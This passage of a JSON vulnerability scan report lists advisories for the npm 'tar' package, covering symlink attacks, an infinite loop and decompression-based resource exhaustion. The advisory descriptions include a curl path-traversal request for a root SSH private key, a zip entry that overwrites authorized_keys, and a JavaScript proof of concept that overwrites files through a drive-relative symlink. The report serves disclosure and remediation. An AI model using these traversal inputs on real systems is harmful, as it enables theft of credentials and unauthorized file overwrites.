code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", 